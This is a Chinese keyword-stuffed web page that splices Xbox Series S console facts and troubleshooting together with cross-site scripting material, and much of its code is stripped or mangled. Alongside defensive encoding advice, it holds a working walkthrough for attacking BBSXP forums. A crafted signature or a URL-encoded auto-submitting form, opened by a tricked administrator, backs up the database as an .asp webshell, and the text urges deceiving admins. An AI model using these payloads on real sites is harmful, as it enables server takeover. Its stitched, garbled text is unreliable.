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xss的自动hdr(xss常用)

本文导读目录:

艾尔登法环xss帧数

艾尔登法环xss帧数最高是60。

Xbox Series S:简称xss,分辨率最高 2560x1440、最高 60 帧、支持 HDR、不支持光线追踪。

拓展:

PC:分辨率最高 3840x2160、最高 60 帧、支持 HDR、支持光线追踪;

PS4:分辨率最高 1920x1080、最高30 帧、支持 HDR、不支持光线追踪;

PS4 Pro:分辨率最高 3200x1800、最高 30 帧、支持 HDR、不支持光线追踪;

PS5:分辨率最高 3840x2160、最高 60 帧、支持 HDR、支持光线追踪;

Xbox One(含 S):分辨率最高 1600x900、最高 30 帧、不支持 HDR、不支持光线追踪;

Xbox One X:分辨率最高 3840x2160、最高 30 帧、支持 HDR、不支持光线追踪;

Xbox Series X:分辨率最高3840x2160、最高 60 帧、支持 HDR、支持光线追踪。

如何防范XSS跨站脚本攻击测试篇

不可信数据 不可信数据通常是来自HTTP请求的数据,以URL参数、表单字段、标头或者Cookie的形式。不过从安全角度来看,来自数据库、网络服务器和其他来源的数据往往也是不可信的,也就是说,这些数据可能没有完全通过验证。 应该始终对不可信数据保持警惕,将其视为包含攻击,这意味着在发送不可信数据之前,应该采取措施确定没有攻击再发送。由于应用程序之间的关联不断深化,下游直译程序执行的攻击可以迅速蔓延。 传统上来看,输入验证是处理不可信数据的最好办法,然而,输入验证法并不是注入式攻击的最佳解决方案。首先,输入验证通常是在获取数据时开始执行的,而此时并不知道目的地所在。这也意味着我们并不知道在目标直译程序中哪些字符是重要的。其次,可能更加重要的是,应用程序必须允许潜在危害的字符进入,例如,是不是仅仅因为SQL认为Mr. O'Malley名字包含特殊字符他就不能在数据库中注册呢? 虽然输入验证很重要,但这始终不是解决注入攻击的完整解决方案,最好将输入攻击作为纵深防御措施,而将escaping作为首要防线。 解码(又称为Output Encoding) “Escaping”解码技术主要用于确保字符作为数据处理,而不是作为与直译程序的解析器相关的字符。有很多不同类型的解码,有时候也被成为输出“解码”。有些技术定义特殊的“escape”字符,而其他技术则包含涉及若干字符的更复杂的语法。 不要将输出解码与Unicode字符编码的概念弄混淆了,后者涉及映射Unicode字符到位序列。这种级别的编码通常是自动解码,并不能缓解攻击。但是,如果没有正确理解服务器和浏览器间的目标字符集,有可能导致与非目标字符产生通信,从而招致跨站XSS脚本攻击。这也正是为所有通信指定Unicode字符编码(字符集)(如UTF-8等)的重要所在。 Escaping是重要的工具,能够确保不可信数据不能被用来传递注入攻击。这样做并不会对解码数据造成影响,仍将正确呈现在浏览器中,解码只能阻止运行中发生的攻击。 注入攻击理论 注入攻击是这样一种攻击方式,它主要涉及破坏数据结构并通过使用特殊字符(直译程序正在使用的重要数据)转换为代码结构。XSS是一种注入攻击形式,浏览器作为直译程序,攻击被隐藏在HTML文件中。HTML一直都是代码和数据最差的mashup,因为HTML有很多可能的地方放置代码以及很多不同的有效编码。HTML是很复杂的,因为它不仅是层次结构的,而且还包含很多不同的解析器(XML、HTML、JavaScript、VBScript、CSS、URL等)。 要想真正明白注入攻击与XSS的关系,必须认真考虑HTML DOM的层次结构中的注入攻击。在HTML文件的某个位置(即开发者允许不可信数据列入DOM的位置)插入数据,主要有两种注入代码的方式: Injecting UP,上行注入 最常见的方式是关闭现有的context并开始一个新的代码context,例如,当你关闭HTML属性时使用"并开始新的 可以终止脚本块,即使该脚本块被注入脚本内方法调用内的引用字符,这是因为HTML解析器在JavaScript解析器之前运行。 Injecting DOWN,下行注入 另一种不太常见的执行XSS注入的方式就是,在不关闭当前context的情况下,引入一个subcontext。例如,将改为 ,并不需要躲开HTML属性context,相反只需要引入允许在src属性内写脚本的context即可。另一个例子就是CSS属性中的expression()功能,虽然你可能无法躲开引用CSS属性来进行上行注入,你可以采用x ss:expression(document.write(document.cookie))且无需离开现有context。 同样也有可能直接在现有context内进行注入,例如,可以采用不可信的输入并把它直接放入JavaScript context。这种方式比你想象的更加常用,但是根本不可能利用escaping(或者任何其他方式)保障安全。从本质上讲,如果这样做,你的应用程序只会成为攻击者将恶意代码植入浏览器的渠道。 本文介绍的规则旨在防止上行和下行XSS注入攻击。防止上行注入攻击,你必须避免那些允许你关闭现有context开始新context的字符;而防止攻击跳跃DOM层次级别,你必须避免所有可能关闭context的字符;下行注入攻击,你必须避免任何可以用来在现有context内引入新的sub-context的字符。 积极XSS防御模式 本文把HTML页面当作一个模板,模板上有很多插槽,开发者允许在这些插槽处放置不可信数据。在其他地方放置不可信数据是不允许的,这是“白名单”模式,否认所有不允许的事情。 根据浏览器解析HTML的方式的不同,每种不同类型的插槽都有不同的安全规则。当你在这些插槽处放置不可信数据时,必须采取某些措施以确保数据不会“逃离”相应插槽并闯入允许代码执行的context。从某种意义上说,这种方法将HTML文档当作参数化的数据库查询,数据被保存在具体文职并与escaping代码context相分离。 本文列出了最常见的插槽位置和安全放置数据的规则,基于各种不同的要求、已知的XSS载体和对流行浏览器的大量手动测试,我们保证本文提出的规则都是安全的。 定义好插槽位置,开发者们在放置任何数据前,都应该仔细分析以确保安全性。浏览器解析是非常棘手的,因为很多看起来无关紧要的字符可能起着重要作用。 为什么不能对所有不可信数据进行HTML实体编码? 可以对放入HTML文档正文的不可行数据进行HTML实体编码,如 标签内。也可以对进入属性的不可行数据进行实体编码,尤其是当属性中使用引用符号时。但是HTML实体编码并不总是有效,例如将不可信数据放入 directlyinascript insideanHTMLcomment inanattributename ...NEVERPUTUNTRUSTEDDATAHERE...href="/test"/ inatagname 更重要的是,不要接受来自不可信任来源的JavaScript代码然后运行,例如,名为“callback”的参数就包含JavaScript代码段,没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时,这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是,这对于其他HTML context是远远不够的,你需要部署其他规则。 ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... ...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... 以及其他的HTML常用元素 使用HTML实体解码躲开下列字符以避免切换到任何执行内容,如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体,除了XML中5个重要字符(、、 、 "、 ')外,还加入了斜线符,以帮助结束HTML实体。 -- -- -- "--" '--''isnotrecommended /--/forwardslashisincludedasithelpsendanHTMLentity ESAPI参考实施 Stringsafe=ESAPI.encoder().encodeForHTML(request.getParameter("input")); No.3 – 在向HTML常见属性插入不可信数据前进行属性解码 这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等),这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则,事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。 contentinsideUNquotedattribute content insidesinglequotedattribute 除了字母数字字符外,使用小于256的ASCII值HH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用,正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏,包括[space] % * + , - / ; = ^ 和 |。 ESAPI参考实施 String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "input" ) ); No.4 – 在向HTML JavaScript Data Values插入不可信数据前,进行JavaScript解码 这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的,因为很容易切换到执行环境,因此请小心使用。

XSS手柄方向键有点失灵

进:开始---设置---控制面板---游戏控制器.里面看一下有没有反映,如果没有,可以把手柄拔下来重插,如果还不行,可能是手柄坏了.

在最近微软发布了次时代主机XSX,不过目前属于早期版本,各种问题层出不穷,玩家的体验还是比较一般,很多玩家遇到问题也不知道要怎么解决,下面我们来看一下吧。

微软Xbox官网发布了关于XSX/S的部分现存问题,包括PC手柄失灵、游戏启动错误、快速恢复功能失效等,目前问题仍在更新中。

1、PC手柄失灵/没有输入

有玩家反映Win10和Steam上无法使用XSX手柄,或出现手柄失灵/没有输入等问题。官方表示玩家需要保证随时的Win10系统更新,并在微软商城中下载Xbox支持附件应用程序(并保持更新);Steam平台由于其近期推出了对XSX手柄的支持(测试版),也需要玩家保持对Steam平台的更新。

2、智能分发游戏数据丢失、游戏无法识别

智能分发(Smart Delivery)是XSX/S推出的全新功能,但有玩家表示前几个世代的主机上带来的外接USB硬盘插入XSX并进行更新后,发现有的游戏(包括《战争机器5》)无法更新、无法识别游戏已经安装、或看到游戏图像损坏。目前的解决方法是:建议玩家直接在XSX上进行更新,微软方面将随后发布更新补丁修复该问题。

3、快速继续游戏功能

已经有玩家反馈表示XSX的快速继续功能并非对所有游戏开放。微软表示目前不建议玩家使用该功能,但随后将发布更新,并保证该功能将随后对所有登陆XSX的游戏适用。

4、游戏问题

有玩家反馈称在更新游戏或开始进行游戏后,XSX会弹出“问题故障:0x800708ca”的警告。微软表示目前仅能通过重置主机来解决该问题,但应注意,重置主机时应选择“保留游戏和应用程序”,否则你还要再下载一次游戏。

5、第三方耳机问题

某些第三方无线耳机会将游戏中的背景音和玩家聊天声音混合(使用XSX/S Wireless手柄时)。目前尚无解决办法,但使用有线耳机并进行设置后可以有效避免该问题。

6、Xbox 360游戏问题

有些玩家发现他们无法运行Xbox 360游戏。目前的解决方法是在设置界面清除Xbox 360储存。

7、显示问题

如果你的显示器能够支持4K 120Hz和VRR功能,并且你也在XSX上开启了同样的画质级别,那么就有可能出现信号丢失、画面损坏等问题,已知出现问题的品牌包括:LG、三星和Vizio。

目前的解决办法包括:更新显示器配置,或降低画质(按需降低即可,比如如果想保留120Hz和VRR功能,只需将4K画质改为1080P或1440P等)。

8、游戏截图

有的玩家发现XSX/S的游戏截图的HDR效果很暗。关于此问题目前尚无解决办法,但微软将随后进行更新修复。

什么是XSS攻击

什么是XSS攻击XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。

然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞

如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。

如何利用

我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.

a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:

c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。

d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示

除此之外我们只要在个人签名里输入

同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.

上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名

处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的

攻击,对于flash木马的制作,下面见哥们丰初的介绍。

再利用如下:

修改一下个人头像的url,输入代码如下:

再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论坛,论坛的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论坛提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

例:先上传一个文件linzi.txt,内容如下:

〈body onload="javascript:document.forms[0].submit()"〉〈form

action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉

上面的代码是把论坛的数据库备份为shit.asp,留言板存在跨站点如下:

http://127.0.0.1/bbsxp/page2.asp?username=

我们构造备份跨站语句如下:

http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E

或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。

当管理员打开后,会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。

总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧!

好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。

xss带盒子多重

xss带盒子大学3.4公斤重,XSS是一台标准的次世代主机,拥有和XSX同代的架构,仅仅在核心频率及规模上略有改变。

拓展资料:

1、xss的核心架构依然是AMD Zen2架构的八核CPU+定制RDNA 2 GPU,只不过频率有所降低,此外GPU的计算单元缩减为20个,因此浮点性能仅有4TFLOPS,是XSX的三分之一。此外,内存带宽略小,但是固态速度两款保持了一致,意味着可以享受同等的快速读取体验。XSS的游戏目标最高同样为120Hz高刷新率,不过分辨率仅着力于2K(部分游戏也可插值4K),此外它还支持VRS可变刷新率、自动低延迟等新特性,因此HDMI 2.1也成为了XSS的标配。

2、在兼容性上,XSS不同于其他平台,仅仅能够运行就谢天谢地。XSS的游戏兼容范围不仅涵盖了Xbox游戏机的整个生命周期,对于兼容游戏还会有画面效果上的提升。这其中包含更高的分辨率,更细致的纹理,更高更稳定的帧率,甚至还会有Auto HDR功能加持,通过系统级的色调映射,为游戏增加HDR模式。

如何正确防御xss攻击

XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

一、HttpOnly防止劫取Cookie

HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。

我们来看下百度有没有使用。

未登录时的Cookie信息

可以看到,所有Cookie都没有设置HttpOnly,现在我登录下

发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。

下面我用PHP来实现下:

?php

header("Set-Cookie: cookie1=test1;");

header("Set-Cookie: cookie2=test2;httponly",false);

setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);

setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);

?

script

alert(document.cookie);

/script

js只能读到没有HttpOnly标识的Cookie

二、输入检查

输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。

例如网站注册经常用户名只允许字母和数字的组合,或者邮箱电话,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。

网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:

$filter = new lib_filter();

echo $filter-go('1+11');

它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。

三、输出检查

大多人都知道输入需要做检查,但却忽略了输出检查。

1、在HTML标签中输出

如代码:

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=$b?/div

a href="#"?=$a?/a

这样客户端受到xss攻击,解决方法就是对变量使用htmlEncode,php中的函数是htmlentities

?php

$a = "scriptalert(1);/script";

$b = "img src=# onerror=alert(2) /";

?

div?=htmlentities($b)?/div

a href="#"?=htmlentities($a)?/a

2、在HTML属性中输出

div id="div" name ="$var"/div

这种情况防御也是使用htmlEncode

在owasp-php中实现:

$immune_htmlattr = array(',', '.', '-', '_');

$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");

3、在script标签中输出

如代码:

?php

$c = "1;alert(3)";

?

script type="text/javascript"

var c = ?=$c?;

/script

这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现

$immune = array("");

echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");

最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F

4、在事件中输出

a href="#" onclick="funcA('$var')" test/a

可能攻击方法

a href="#" onclick="funcA('');alter(/xss/;//')"test/a

这个其实就是写在script中,所以跟3防御相同

5、在css中输出

在owasp-php中实现:

$immune = array("");

$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');

6、在地址中输出

先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent方法。

在owasp-php中实现:

$instance = ESAPI::getEncoder();

$instance-encodeForURL(‘url’);

四、处理富文体

就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此最好使用成熟的开源框架来检查。php可以使用htmlpurify

五、防御DOM Based XSS

DOM Based XSS是从javascript中输出数据到HTML页面里。

script

var x = "$var";

document.write("a href='"+x+"'test/a");

/script

按照三中输出检查用到的防御方法,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。

防御方法:首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。

会触发DOM Based XSS的地方有很多:

document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()

xss怎么开性能模式

《英灵殿》的这次更新对XSX和PS5主机却有负面影响,在性能模式下PS5会出现掉帧现象,有时会掉到40fps,而此前并没有这种情况,可能这次更新对于PS5和XSX主机来说还有新的问题。

XSS攻击原理是什么

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点。

诸如此类,唯一能完全杜绝xss攻击的方法,就是禁用script,img等,显然这是不靠谱的,用户需要丰富的页面内容;当然我们可以用一些方法预防xss攻击,尽量减少xss造成的危害。

XSS攻击的危害包括

盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

盗窃企业重要的具有商业价值的资料

非法转账

强制发送电子邮件

网站挂马

控制受害者机器向其它网站发起攻击

  • 评论列表:
  •  黑客技术
     发布于 2022-05-30 06:06:51  回复该评论
  • k”的参数就包含JavaScript代码段,没有解码能够解决。 No.2 – 在向HTML元素内容插入不可信数据前对HTML解码 这条规则适用于当你想把不可信数据直接插入HTML正文某处时,这包括内部正常标
  •  黑客技术
     发布于 2022-05-30 05:50:06  回复该评论
  • 为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell. 上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名 处受到了长度的限制,不能超过255个字符。我们可

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